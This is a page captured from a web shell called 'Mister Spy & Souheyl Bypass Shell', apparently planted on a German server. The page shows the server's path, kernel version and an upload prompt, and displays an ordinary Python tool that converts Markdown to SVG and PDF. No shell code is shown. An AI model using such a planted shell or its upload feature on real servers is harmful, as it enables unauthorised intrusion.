Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /home/ift/51_iftlib/md/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //home/ift/51_iftlib/md/gx1.py

#   coding: utf-8

import os,sys,re,hashlib,codecs,base64

try:
    from PIL import Image
    import PyPDF2
    import jinja2
except:
    import pip
    import pip._internal
    pip._internal.main(["install","pyPDF2"])
    pip._internal.main(["install","pillow"])

    pip._internal.main(["install","Pillow"])
    pip._internal.main(["install","jinja2"])
    from PIL import Image
    import PyPDF2
    import jinja2

class Gx (object):

    def __init__ (self):

        self.inkscape_path = "inkscape"
        for dir in [
            'C:/Program Files/Inkscape/bin/inkscape.com',
            'C:/Program Files (x86)/Inkscape/bin/inkscape.com',
            'C:/ProgramData/Inkscape/bin/inkscape.com',
            'C:/Programme/Inkscape/bin/inkscape.com',
            'C:/Program Files/Inkscape/inkscape.com',
            'C:/Program Files (x86)/Inkscape/inkscape.com',
            'C:/ProgramData/Inkscape/inkscape.com',
            'C:/Programme/Inkscape/inkscape.com']:
            if os.path.isfile(dir):
                self.inkscape_path = '"' + dir + '"'
                break
        print(self.inkscape_path)
                
#*************************************************************

#   Copies all linked svg-files into the main file being aware of renaming id's

    def svg2svg (self,pars):
    
        try:
            text = codecs.open(pars[0],encoding="utf-8").read()
        except:
            text = pars[0]
        defs = {}
        

        while (0 == 0):  #  as long as we find changeable parts in the svg code

            bed = 0
            while (0 == 0):
                m = re.search(r"^(.*?)\<image ([^\<\>]*)(xlink\:href=)[\"\']([A-Za-z0-9\_\-\.\\\/]+\.)(svg|SVG)[\"\']([^\<\>]*)\/\>(.*)$",
                                      text,re.DOTALL)
                if not m:
                    break
                bed = 1
                imgtext = m.group(2) + m.group(6)
                
                x1 = "0mm"
                y1 = "0mm"
                w1 = ""
                h1 = ""
                w2 = ""
                h2 = ""
                w3 = 0
                h3 = 0
                            
                m1 = re.search(r"^(.*)x=[\"\'](.*?)[\"\'](.*)$",imgtext,re.DOTALL)
                if m1:
                    x1      = m1.group(2)
                    imgtext = m1.group(1) + m1.group(3)

                m1 = re.search(r"^(.*)y=[\"\'](.*?)[\"\'](.*)$",imgtext,re.DOTALL)
                if m1:
                    y1      = m1.group(2)
                    imgtext = m1.group(1) + m1.group(3)

                m1 = re.search(r"^(.*)width=[\"\'](.*?)[\"\'](.*)$",imgtext,re.DOTALL)
                if m1:
                    w1      = m1.group(2)
                    imgtext = m1.group(1) + m1.group(3)

                m1 = re.search(r"^(.*)height=[\"\'](.*?)[\"\'](.*)$",imgtext,re.DOTALL)
                if m1:
                    h1      = m1.group(2)
                    imgtext = m1.group(1) + m1.group(3)
                
                try:
                    textsvg = codecs.open(m.group(4)+m.group(5),encoding="utf-8").read()
                except:
                    print ("File " + m.group(4)+m.group(5) + " not found. ERROR")
                    return("ERROR")
                textsvg = re.sub(r"^(.*?)<svg\n*(.*?)\n*\<\/svg\>.*$","\\2",textsvg,flags=re.DOTALL)
                textsvg = "<g\n" + textsvg + "\n</g>\n"

                wh      = re.search(r"viewBox=\"(\d+) +(\d+)+ ([\d+\.]+) +([\d+\.]+)",textsvg,re.DOTALL)
                if wh:
                    w2 = wh.group(3)
                    h2 = wh.group(4)
                else:
                    m1 = re.search(r"width.*?(\d+[a-z]*)",textsvg);
                    if m1:
                        w2 = m1.group(1)
                    m1 = re.search(r"height.*?(\d+[a-z]*)",textsvg);
                    if m1:
                        h2 = m1.group(1)

                try:
                    w_fac = self._imgfactor(w1)/self._imgfactor(w2)
                except:
                    w_fac = 0
                try:
                    h_fac = self._imgfactor(h1)/self._imgfactor(h2)
                except:
                    h_fac = 0
                if w_fac == 0:
                    w_fac = h_fac
                if h_fac == 0:
                    h_fac = w_fac

                m1 = re.search(r"^(\d+\.?\d*)([a-z]*)",x1)
                x1 = str(float(m1.group(1))/w_fac) + m1.group(2)
                m1 = re.search(r"^(\d+\.?\d*)([a-z]*)",y1)
                y1 = str(float(m1.group(1))/h_fac) + m1.group(2)

                label   = re.sub(r"[\.\\\/]","_",m.group(4)+m.group(5),9999)    #  Change of id-labels
                textsvg = re.sub(r"(id\=\")(.*?)(\")","\\1\\3",textsvg,1)
                textsvg = re.sub(r"(id\=\")([^\"]+?)(\")",'\\1-x-x-x-' +label+"_\\2\\3",textsvg,99999999)
                textsvg = re.sub(r"(id\=\")(\")","\\1-x-x-x-"+label+"\\2",textsvg,1)
                textsvg = re.sub(r"(href\=\"\#)(.*?)(\")","\\1-x-x-x-"+label+"_\\2\\3",textsvg,99999999)
                textsvg = re.sub(r"-x-x-x-","",textsvg,99999999)
                
                imgtext = ( '<use x="'+x1+'" y="'+y1+'" transform="scale('+str(w_fac)+","+str(h_fac)+')" ' +
                             imgtext + 'xlink:href="#' + label + '"/>' )
                text    = m.group(1) + re.sub(r" +"," ",imgtext,9999) + m.group(7)

                defs[label] = textsvg

            if bed == 0:
                break

            text1 = ""
            for o in defs.keys():
                text1 = text1 + defs[o]
            if not text1 == "":
                text1 = "<defs>\n" + text1 + "</defs>\n</svg>"       
                text1 = re.sub(r"<!--0/0-->","0/0",text1)
                try:
                    text1 = re.sub(r"0/0",str(int(pars[2]))+" / "+str(pars[3]),text1)
                except:
                    pass
                try:
                    text1 = re.sub(r"1/1","",text1)
                except:
                    pass
                text  = re.sub(r"</svg>",text1,text)
            
        try:
            codecs.open(pars[1],"w",encoding="utf-8").write(text)
        except:
            pass
        return(text)

 
#***************************************************************************

    def _imgfactor (self,x):
    
        m = re.search(r"^(.*?)([a-z]*)$",x)
        o = float(m.group(1))*({"":1.0,"pt":1.25,"mm":3.54,"cm":35.4,"pc":15,"in":90}[m.group(2)])
        return(o)


#***************************************************************************

    def md2html (self,pars):
    
        pars.append("1")
        self.md2svg(pars)    

#***************************************************************************

    def md2svg (self,pars):    

        if not os.path.isfile(pars[0]):
            print ("File " + pars[0] + " not found ...")
            return()

        pars0 = pars[0]
        m     = re.search(r"^(.*)[\\\/](.*)$",pars[0])
        if m:
            dir   = m.group(1)
            dir   = re.sub(r"\\","/",dir,9999)
            pars0 = m.group(2)
            os.chdir(m.group(1))
            print("Change to ",dir,". File: ",pars0)
        

        m = re.search(r"^(.*)\.(.*)$",pars0)
        if m:
            file = m.group(1)
            try:
                os.remove(file+"_html.html")
            except:
                pass
        else:
            exit()

        try:
            formatfile = pars[1]
        except:
            formatfile = ""
            
#   1.   Cleaning up

        zaehler = 0  
        while (0 == 0):
            zaehler = "%03u" % (int(zaehler) + 1)
            try:
                os.remove(file+"_"+zaehler+".pdf")
            except:
                pass
            try:
                os.remove("_"+file+"_"+zaehler+".svg")
            except:
                pass
            try:
                os.remove(file+"_"+zaehler+".svg")
            except:
                break


#   2.  Auslesen der Metadaten fuer wkhtmltopdf


        del_files = False
        text   = codecs.open(file+".md",encoding="utf-8").read()
        if os.path.isfile(formatfile):
            text = codecs.open(formatfile,encoding="utf-8").read() + text
        else:
            del_files = True
        del_files = False
            
        text1  = text
        cmd    = ""
        pdfdpi = ""
        while (0 == 0):   #   hier werden Dimensionsangaben wie zb pageheight geparst und verarbeitet
            m = re.search("^(.*?)\n(page|margin|pdf)(height|width|left|right|top|bottom|footer|dpi)\: +(\d+)(mm|pt|cm|dpi)(.*)$",text,re.DOTALL)
            if m:
                if m.group(2) + m.group(3) == "pdfdpi":
                    pdfdpi = m.group(4)
                elif m.group(2) + m.group(3) == "pagefooter":
                    footer = m.group(4)    #   Footer Mass
                else:
                    cmd =  cmd + "  --"+m.group(2)+"-"+m.group(3)+" "+m.group(4)+m.group(5) + " "
                text = m.group(1) + m.group(6)
            else:
                break



#   2a.  Include-md-Files:


        while (0 == 0):
            m = re.search(r"^(.*?)\[(\S+\.md)\](.*)$",text1,re.DOTALL)
            if not m:
                break
            text1 = m.group(1) + codecs.open(m.group(2),encoding="utf-8").read() + m.group(3)



#   3. Alle jpg/svg/gif/png-Eintraege werden aufgenommen

        images          = []
        files_to_delete = []
        text            = ""
        svg_paths       = {}

        while (0 == 0):  
            m        = re.search("^(.*?[\"\'])([a-zA-Z0-9\.\\\/][a-zA-Z0-9\.\-\_\\\/]*)\.(jpg|svg|gif|png)(.*)$",text1,flags=re.DOTALL)
            if not m:
                text = text + text1
                break
            imgfile  = m.group(2)
            text1    = m.group(4)
            ending   = m.group(3)
            images.append(imgfile+"."+ending)
            if m.group(3) == "svg":   #  Bei svg-Files wird erst ein png-Platzhalterfile erstellt (im aktuellen Verzeichnis)
                ending   = "png"      #  das dann nachher durch das richtige svg ersetzt wird
                imgfile0 = imgfile
                imgfile  = re.sub(r"^(.*)([\\\/])","",imgfile0) + "___P_L_A_C_E_H_O_L_D_E_R"
                svg_paths[imgfile] = imgfile0
                try:
                    text3    = codecs.open(imgfile0+".svg",encoding="utf-8").read()
                except:
                    print (imgfile0+".svg not found ... ending ...")
                    return()
                wh       = re.search(r"^(.*?)\<svg[^\>]+viewBox=\"(\d+) +(\d+)+ ([\d+\.]+) +([\d+\.]+)",text3,re.DOTALL)
                if wh:
                    im       = Image.new('RGB',(int(float(wh.group(4))),int(float(wh.group(5)))),'black')
                else:
                    w        = re.search(r"^(.*?)\<svg[^\>]+width=\"([\d\.]*)",text3,re.DOTALL)
                    h        = re.search(r"^(.*?)\<svg[^\>]+height=\"([\d\.]*)",text3,re.DOTALL)
                    im       = Image.new('RGB',(int(float(w.group(2))),int(float(h.group(2)))),'black')
                im.save(imgfile+".png")
                files_to_delete.append(imgfile+".png")
                contains_svg = True
            else:
                contains_png = True
            text = text + m.group(1) + imgfile + "." + ending


#   4.  Processing des abgeaenderten md-Files
        print (images)

#        for image in images:
#            image = re.sub(r"\.png$",".jpg")


        codecs.open(file+"___P_L_A_C_E_H_O_L_D_E_R.md","w",encoding="utf-8").write(text)
        files_to_delete.append(file+"___P_L_A_C_E_H_O_L_D_E_R.md")
        os.system("pandoc -s --metadata pagetitle='xyz'  -o "+file+".html "+file+"___P_L_A_C_E_H_O_L_D_E_R.md")
        if "win" in sys.platform:
            os.system("wkhtmltopdf --enable-local-file-access " +cmd+file+".html "+file+".pdf")
        else:
            os.system("xvfb-run -a -s \"-screen 0 640x480x16\" wkhtmltopdf --enable-local-file-access " +cmd+file+".html "+file+".pdf")
#            os.system("WINEPREFIX=/home/cgabriel WINEARCH=win64 xvfb-run -a -s \"-screen 0 640x480x16\" " +
#                        "wine /home/cgabriel/.wine_wkhtmltopdf/drive_c/ProgramData/wkhtmltopdf/bin/wkhtmltopdf.exe --enable-local-file-access " +cmd+file+".html "+file+".pdf")
#            print("xvfb-run -a -s \"-screen 0 640x480x16\" wkhtmltopdf --enable-local-file-access " +cmd+file+".html "+file+".pdf")
        text = codecs.open(file+".html",encoding="utf-8").read()
        while (0 == 0):
            m = re.search(r"^(.*?)([a-zA-Z0-9\-\_\.]+___P_L_A_C_E_H_O_L_D_E_R).png(.*)$",text,re.DOTALL)
            if not m:
                break
            text = m.group(1) + svg_paths[m.group(2)] + ".svg" + m.group(3)
#        try:
#            text = re.sub("</body>","</body><p><img src=\""+footer+" width=\"100%\"/></p>",text)  #  add footer file
#        except:
#            pass

        codecs.open(file+".html","w",encoding="utf-8").write(self.svg2inline(text))  #  make all svg's inline


#   5.  Fertiges PDF, das ist Grundlage fuer die weiteren Schritte



        pdf     = PyPDF2.PdfFileReader( open(file+".pdf","rb") )
        zaehlernr = 0
        footer1 = ""
        footer2 = ""
        nr      = 0


#   6.  jede Seite des erzeugten PDF's wird einzeln genommen und in SVG umgewandelt

        while (0 == 0):  
#            if zaehlernr == pdf.numPages:
#                nr = zaehlernr
#                break
            footer1 = ""
            footer2 = ""
            pdfpage = PyPDF2.PdfFileWriter()
            try:
                pdfpage.addPage( pdf.getPage(zaehlernr) )   #  zaehlernr-te Seite
            except:
                break
#            print(pdf.getPage(1))
            file1   = file+"_"+("%03u" % (zaehlernr+1))
            pdfpage.write( open(file1+".pdf","wb") )
            os.system("pdf2svg " + file1+".pdf " + file1+".svg")
            try:
                text2 = codecs.open(file1+".svg",encoding="utf-8").read()
            except:
                print (file1+".svg not found ... ending ...")
                return()
#            print("111",file1)
            text3 = ""
            while (0 == 0):
#                print file1

                m = re.search(r"^(.*?\=\")(data:image\/jpeg;base64,|data:image\/png;base64,)(.*?)(\".*)$",text2,flags=re.DOTALL)
                if not m:
                    text3 = text3 + text2
                    break
#                print m.group(2)
                try:
                    img   = images.pop(0)  # in der Reihenfolge der Vorkommnisse der Images werden diese untersucht
                except:
                    print ("WARNING: no image found anymore ... ")
                    print ("Consider to protect jpg gif png in svg's by putting a space after xlink:href=")
                text2 = m.group(4)
                if re.search("\.svg$",img):
#                if os.path.isfile(img+".svg"):   #   wenn es ein svg-File gibt gleichen Namens, dieses nehmen
                    text3 = text3 + m.group(1) + img # + ".svg"
                else:
                    text3 = text3 + m.group(1) + m.group(2) + m.group(3)
                    

            if len(images) == 0:
                m = re.search(r"^(.*)\n(\<use +xlink:href=\"\#)([^\"]*?)(\"[^\n\>]+?\>)(\s*\</g\>\s*\</svg\>\s*)$",text3,re.DOTALL)
#                print(text3)
                if m:   #  Footer-Extraktion
                    text3   = m.group(1) + m.group(5)
                    footer1 = m.group(2) + "footer" + m.group(4)
                    m1      = re.search(r"(\<image +id=\")"+m.group(3)+"\"(.*)",text3)
                    if m1:
                        footer2 = m1.group(1) + "footer\" y=\"" + footer + "\"" + m1.group(2)
                        footer1 = re.sub(r",([\d\.]+)\)",",0.0)",footer1)
                        os.remove(file1+".svg")
                        os.remove(file1+".pdf")
                        break
            zaehlernr = zaehlernr + 1
            try:
                codecs.open(file1+".svg","w",encoding="utf8").write(text3)
            except:
                print (file1+".svg not found ... ending ...")
                return()

#        print(1234)
#        exit()

        nr = zaehlernr

#        for delfile in files_to_delete:
#            os.remove(delfile)

        if len(images) > 0:
            print ("Warning: Not all images are recognized in SVG-Files... Exit.")
            return()

##   6.  jede Seite des erzeugten PDF's wird einzeln genommen und in SVG umgewandelt
#
#        while (0 == 0):  
#            footer1 = ""
#            footer2 = ""
#            pdfpage = PyPDF2.PdfFileWriter()
#            try:
#                pdfpage.addPage( pdf.getPage(nr) )   #  nr-te Seite
#            except:
#                break
#            file1   = file+"_"+("%03u" % (nr+1))
#            nr = nr + 1
#            pdfpage.write( open(file1+".pdf","w") )
#            os.system("pdf2svg " + file1+".pdf " + file1+".svg")
#            text2 = codecs.open(file1+".svg",encoding="utf-8").read()
#            text3 = ""
#            while (0 == 0):
#                m = re.search(r"^(.*?\")(data:image\/jpeg;base64,)(.*?)(\".*)$",text2,flags=re.DOTALL)
#                if not m:
#                    text3 = text3 + text2
#                    break
#                img   = images.pop(0)  # in der Reihenfolge der Vorkommnisse der Images werden diese untersucht
#                text2 = m.group(4)
#                if re.search("\.svg$",img):
##                if os.path.isfile(img+".svg"):   #   wenn es ein svg-File gibt gleichen Namens, dieses nehmen
#                    text3 = text3 + m.group(1) + img # + ".svg"
#                else:
#                    text3 = text3 + m.group(1) + m.group(2) + m.group(3)
#
#            m = re.search(r"^(.*)\n(\<use +xlink:href=\"\#)([^\"]*?)(\"[^\n\>]+?\>)(\s*\</g\>\s*\</svg\>\s*)$",text3,re.DOTALL)
#            if m:   #  Footer-Extraktion
#                print "footer"
#                text3   = m.group(1) + m.group(5)
#                footer1 = m.group(2) + "footer" + m.group(4)
#                m1      = re.search(r"(\<image +id=\")"+m.group(3)+"\"(.*)",text3)
#                if m1:
#                    footer2 = m1.group(1) + "footer\" y=\"" + footer + "\"" + m1.group(2)
#                    footer1 = re.sub(r",([\d\.]+)\)",",0.0)",footer1)
##                break
#            codecs.open(file1+".svg","w",encoding="utf8").write(text3)
#
#
#
#        for delfile in files_to_delete:
#            os.remove(delfile)
#
#        if len(images) > 0:
#            print "Warning: Not all images are recognized in SVG-Files... Exit."
#            return()
#
# 7.   in den svg's die footer anbringen

        if not footer1 == "":
            zaehler = 0
            while (0 == 0):
                zaehler = "%03u" % (int(zaehler) + 1)
                if not os.path.isfile(file+"_"+zaehler+".svg"):
                    break
                textsvg = codecs.open(file+"_"+zaehler+".svg","r",encoding="utf8").read()
                textsvg = re.sub(r"\</defs\>",footer2+"\n</defs>",textsvg)
                textsvg = re.sub(r"\</g\>\s*\</svg\>",footer1 + "</g>\n</svg>",textsvg)
                codecs.open(file+"_"+zaehler+".svg","w",encoding="utf8").write(textsvg)
        if not formatfile == "" and not os.path.isfile(formatfile):
            return()

#  8.    neues PDF erzeugen

        print ("inkscape ... svg to pdf ...   " + file + ".pdf")
        zaehler = 0
        while (0 == 0):
            zaehler = "%03u" % (int(zaehler) + 1)
            print (zaehler)
            if not os.path.isfile(file+"_"+zaehler+".svg"):
                break
            error = self.svg2svg([file+"_"+zaehler+".svg","_"+file+"_"+zaehler+".svg",zaehler,nr])
            if error == "ERROR":
                return()
#            textsvg = codecs.open("_"+file+"_"+zaehler+".svg","r",encoding="utf8").read()
#            textsvg = re.sub(r"0/0",str(int(zaehler))+"/"+str(nr),textsvg)            
#            codecs.open("_"+file+"_"+zaehler+".svg","w",encoding="utf8").write(textsvg)

            os.system(self.inkscape_path + " --batch-process --export-dpi="+pdfdpi+" -A "+
                             file+"_"+zaehler+".pdf _"+file+"_"+zaehler+".svg")
            print(self.inkscape_path + " --without-gui --export-dpi="+pdfdpi+" -A "+
                             file+"_"+zaehler+".pdf _"+file+"_"+zaehler+".svg")
#            os.remove("_"+file+"_"+zaehler+".svg")
        os.system("pdftk " + file + "_???.pdf output " + file + ".pdf")
        
#   9.   Cleaning up

        zaehler = 0
        while (0 == 0):
            zaehler = "%03u" % (int(zaehler) + 1)
            try:
                os.remove(file+"_"+zaehler+".pdf")
            except:
                pass
            if del_files:
                try:
                    os.remove(file+"_"+zaehler+".svg")
                except:
                    pass
                if os.path.isfile(file+".html") and not os.path.isfile(file+"_html.html"):
                    os.rename(file+".html",file+"_html.html")
            try:
                os.remove("_"+file+"_"+zaehler+".svg")
            except:
                break
                
#***************************************************************************

    def svg2inline (self,text):   #  inlines an SVG into an html
    

#        return(text)

        svgfile = ""
        while (0 == 0):
        
            m = re.search(r"^(.*?)(\<[^\<\>]+?)([a-zA-Z\_0-9\-]+)\.(svg|SVG)([^\<\>]+\>)(.*)$",text,re.DOTALL)
            if not m or m.group(3) + "." + m.group(4) == svgfile:
                return(text)
            svgfile = m.group(3) + "." + m.group(4)
            textsvg = codecs.open(svgfile,"r",encoding="utf8").read()
            textsvg = re.sub(r"(\<svg[^\<\>]+) +width\S+", r"\1",textsvg)
            textsvg = re.sub(r"(\<svg[^\<\>]+) +height\S+",r"\1",textsvg)
#            print (m.group(5))
            m1      = re.search(r"width\=[\'\"](.*?)[\'\"]",m.group(5))
            size    = ""
            if m1:
                print (m1.group(1))
                size = size + "width=\"" + m1.group(1) + "\" "
            m1      = re.search(r"height\=[\'\"](.*?)[\'\"]",m.group(5))
            if m1:
                print (m1.group(1))
                size = size + "height=\"" + m1.group(1) + "\" "
            textsvg = re.sub(r"\<svg","<svg "+size,textsvg)
            
            text = m.group(1) + textsvg + m.group(6)

        return(text)


#***************************************************************************

    def mksvg(self,pyfile,resources_dir,pars,text,filenr=""):

        if len(filenr) > 0 and filenr[0] in ".#-":
            return(None)
        pars['dir'] = re.sub(r"__init__.pyc?$","",resources_dir)
        file  = re.sub(r"\.pyc?$","",pyfile) + filenr

        for o in pars:
            try:
                pars[o] = pars[o].decode("utf8")
            except:
                pass
        text  = text.decode("utf8")
        text1 = jinja2.Template(text)
        text2 = text1.render( pars )

        codecs.open(file+".svg","w",encoding="utf8").write( self.svg2svg([text2]) )
#        os.system(self.inkscape_path + " -e           xx"+filenr+".png -w 800 "  + file + ".svg")
        return(file)

#***************************************************************************

    def mkmd(self,pyfile,resources_dir,pars,text,filenr=""):

        if len(filenr) > 0 and filenr[0] in ".#-":
            return(None)
        pars['dir'] = re.sub(r"__init__.pyc","",resources_dir)
        for o in pars:
            try:
                pars[o] = pars[o].decode("utf8")
            except:
                pass
        text1 = jinja2.Template(text.decode("utf8"))
        text2 = text1.render( pars )
        file  = re.sub(r"\.py$","",pyfile) + filenr
        codecs.open(file+".md","w",encoding="utf8").write( self.svg2svg([text2]) )
        self.md2svg([file+filenr+".md"])
        return(file)

#***************************************************************************

    def mkpdf(self,files,res=300):
    
        files1 = []
        for file in files:
            if file:
                files1.append([unicode(file)])

        outfile = None
        while (0 == 0):
        
            if len(files1) == 0:
                break
            file = files1.pop(0)
            m    = re.search(r"^(.*)\:(.*)",file[0])
                
            if m:
                file   = [m.group(1)]
                files2 = []
                for file1 in files1:
                    m1 = re.search(r"^(.*)\:(.*)",file1[0])
                    if m1 and m1.group(2) == m.group(2):
                        file.append(m1.group(1))
                    else:
                        files2.append(file1)
                files1 = files2
                
            for file1 in file:
                os.system(self.inkscape_path + "  -A " + file1 + ".pdf " + " -d " + str(res) + " " + file1 + ".svg")
                if not file[0] == file1:
                    print ("   ... and incorporate " + file1 + ".pdf" )
                    os.system("pdftk " + file[0] + ".pdf background " + file1 + ".pdf output _" + file[0] + ".pdf")
                    os.rename("_" + file[0] +".pdf",file[0]+".pdf")
                else:
                    print ("make " + file1 + ".pdf")

            if outfile:
                os.system("pdftk " + outfile + " " + file[0] + ".pdf output _" + outfile)
                os.rename("_" + outfile,outfile)
            else:
                outfile = file[0] + ".pdf"
                print ("--> as outfile: " + outfile)
                
        return(outfile)

#***************************************************************************


    def x2mp4 (self,pars):

        file = pars[0]
        m    = re.search(r"^(.*)\.(.*)$",pars[0])
        if m:
            file = m.group(1)

        try:
            zieldatei = pars[1]
        except:
            zieldatei = file
        m    = re.search(r"^(.*)\.(.*)$",zieldatei)
        if m:
            zieldatei = m.group(1)
            
        m = re.search(r"^(0+)\.(.*)$",zieldatei)
        if m:
            for f in os.listdir("."):
                m1 = re.search(r"^(\d+)\.",f)
                if m1:
                    maxnr = max(maxnr,int(m1.group(1)))
            maxnr = maxnr + 1
            maxnr = ("%0"+str(len(m.group(1)))+"u") % maxnr
            zieldatei = maxnr + "." + m.group(2)
            zieldatei = re.sub(r"[°-]","_",zieldatei,99999999)
        
        print (zieldatei)

        if os.path.isfile(file+".mp4"):
            if not file == zieldatei:
                os.system("cp "+file+".mp4 "+zieldatei+".mp4")
            return()
            
        ending = ""
        if os.path.isfile(file+".mp3"):
            ending = ".mp3"
        elif os.path.isfile(file+".m4a"):
            ending = ".m4a"
        
        if not ending == "":
            
            file1 = re.sub(r"^(.*)\/","",file)
            file1 = re.sub(r"^\d*\.","",file1)
            open(file+".svg","w").write('''
<svg id="card3" width="100%" height="100%" viewBox="0 0 300 200"
  xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <style type="text/css">
  text.title      { font-family: Courier; font-size: 14px;  font-weight:bold; fill: black; }
  </style>
  <rect width="100%" height="100%" x="0" y="0" fill="#ccccff"/>
  <text class="title"     text-anchor="start" x="15"  y="60">'''  + file1[0:30]    + '''</text>
  <text class="title"     text-anchor="start" x="15"  y="80">'''  + file1[30:60]   + '''</text>
  <text class="title"     text-anchor="start" x="15"  y="100">''' + file1[60:90]   + '''</text>
  <text class="title"     text-anchor="start" x="15"  y="120">''' + file1[90:120]  + '''</text>
  <text class="title"     text-anchor="start" x="15"  y="140">''' + file1[120:150] + '''</text>
  <text class="title"     text-anchor="start" x="15"  y="160">''' + file1[150:300] + '''</text>
</svg>
''')
            os.system(self.inkscape_path + " -e " + file + "_0001.png -h 300 " + file + ".svg")
            os.system(self.inkscape_path + " -e " + file + "_0002.png -h 300 " + file + ".svg")
            os.system("avconv -i "   + file + "_" + "%04d.png "   + file + "_0003.mp4")
            
            os.system("avconv -i " + file + "_0003.mp4 -i " + file + ending + " -c copy " + zieldatei + ".mp4")
            os.system("rm " + file + "_000*png")
            os.system("rm " + file + "_0003.mp4")
#            os.system("rm " + file + ".svg")


#***************************************************************************


    def playlist (self,pars):
    
        '''
        Parameters:
        1. playlist
        2.
        '''


        m = re.search(r"(.*)\/(.*)$",pars[0])
        if not m:
            gesdir = "."
        else:
            gesdir = m.group(1)
            if os.path.isfile(m.group(2)):
                gesdir = "."
        print (gesdir)
        text        = open(pars[0]).read()
        gesamtliste = (  os.popen("find " + gesdir + " -name \*.mp\*").read() +
                         os.popen("find " + gesdir + " -name \*.m4a").read() +
                         os.popen("find " + gesdir + " -name \*.wma").read() )
        
        dateien = []
        for line in text.split("\n"):
            if line == "":
                continue
            for zeile in gesamtliste.split("\n"):
                if re.search(r"_000[12].png$",zeile):
                    try:
                        os.unlink(zeile)
                    except:
                        pass
                if re.search(r"_0003.mp4$",zeile):
                    try:
                        os.unlink(zeile)
                    except:
                        pass
                bed = True
                for pattern in line.split(","):
                    if not pattern.lower() in zeile.lower():
                        bed = False
                        break
                if bed:
                    m = re.search(r"^(.*)\.(.*)$",zeile)
                    if m.group(2) == "mp4":
                        for ending in (".mp3",".m4a",".wma"):
                            try:
                                dateien.remove(m.group(1)+ending)
                            except:
                                pass
        gesamtliste = os.popen("find " + gesdir + " -name \*.mp\*").read()
        
        dateien = []
        for line in text.split("\n"):
            if line == "":
                continue
            for zeile in gesamtliste.split("\n"):
                if re.search(r"_000[12].png$",zeile):
                    try:
                        os.unlink(zeile)
                    except:
                        pass
                if re.search(r"_0003.mp4$",zeile):
                    try:
                        os.unlink(zeile)
                    except:
                        pass
                bed = True
                for pattern in line.split(","):
                    if not pattern.lower() in zeile.lower():
                        bed = False
                        break
                if bed:
                    m = re.search(r"^(.*)\.(.*)$",zeile)
                    if m.group(2) == "mp4":
                        for ending in (".mp3",".m4a",".wma"):
                            try:
                                dateien.remove(m.group(1)+ending)
                            except:
                                pass
                        dateien.append(zeile)
                    if m.group(2) in ("mp3","m4a","wma"):
                        if not m.group(1)+".mp4" in dateien:
                            dateien.append(zeile)

        zaehler = 0                         
        os.mkdir("111")   
        for datei in dateien:
            zaehler = zaehler + 1
            print (gesdir, " ---> " + datei)
            m       = re.search(r"^(.*)\/(.*)$",datei)
            if m:
                zieldatei = m.group(2)
            else:
                zieldatei = datei
            os.system("cp " + datei + " 111/" + ("%04u" % (10*zaehler)) + "." + zieldatei)
            if gesdir == ".":
                continue
            self.x2mp4([datei,"000." + m.group(2).lower()])            
        

#***************************************************************************


if __name__ == "__main__":
    Gx.__dict__[sys.argv[1]](Gx(),sys.argv[2:])

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net